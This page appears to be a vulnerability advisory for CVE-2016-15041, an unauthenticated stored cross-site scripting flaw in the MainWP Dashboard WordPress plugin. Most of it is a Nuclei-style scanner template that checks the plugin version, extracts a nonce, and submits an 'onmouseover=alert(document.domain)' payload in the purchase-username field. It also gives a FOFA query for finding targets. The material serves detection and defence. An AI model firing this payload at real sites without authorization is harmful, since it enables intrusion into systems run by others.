CVE-2016-15041: MainWP Dashboard <= 3.1.2 - Stored Cross-Site Scripting

2026-01-16 MainWP Dashboard PoC Public

Description

MainWP Dashboard – The Private WordPress Manager for Multiple Website Maintenance plugin for WordPress versions up to 3.1.2 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in 'mwp_setup_purchase_username' parameter, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.

PoC

id: CVE-2016-15041

info:
  name: MainWP Dashboard <= 3.1.2 - Stored Cross-Site Scripting
  author: flame
  severity: high
  description: |
    MainWP Dashboard – The Private WordPress Manager for Multiple Website Maintenance plugin for WordPress versions up to 3.1.2 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in 'mwp_setup_purchase_username' parameter, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.
  impact: |
    Unauthenticated attackers can inject scripts that execute in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability.
  reference:
    - https://klikki.fi/mainwp-admin-panel-unauthenticated-stored-xss/
  metadata:
    verified: true
    max-request: 4
    fofa-query: "/wp-content/plugins/mainwp/"
  tags: cve,cve2016,mainwp,wordpress,xss,wp,wp-plugin,vkev,vuln

variables:
  randstr: "{{rand_base(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/mainwp-vuln/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - compare_versions(version, '<= 3.1.2')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mwp_setup_purchase_username={{randstr}}"+onmouseover%3Dalert(document.domain)+x%3D"&mwp_setup_purchase_passwd=test&save_step=1

      - |
        GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '_wpnonce" value="([a-zA-Z0-9]+)"'
        internal: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "MainWP"
          - "Setup Wizard"
          - "mwp_setup_purchase_username"
        condition: and

      - type: word
        part: body_3
        words:
          - ' onmouseover=alert(document.domain) x'

      - type: status
        status:
          - 200
# digest: 490a0046304402200688ef570c9bede25529615e0209e55ab05052fe53d11ad910ef8388c1014ca702201097692a4af9dee92886968c482ba331efb972fa66a575000195372eebfd2e9f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities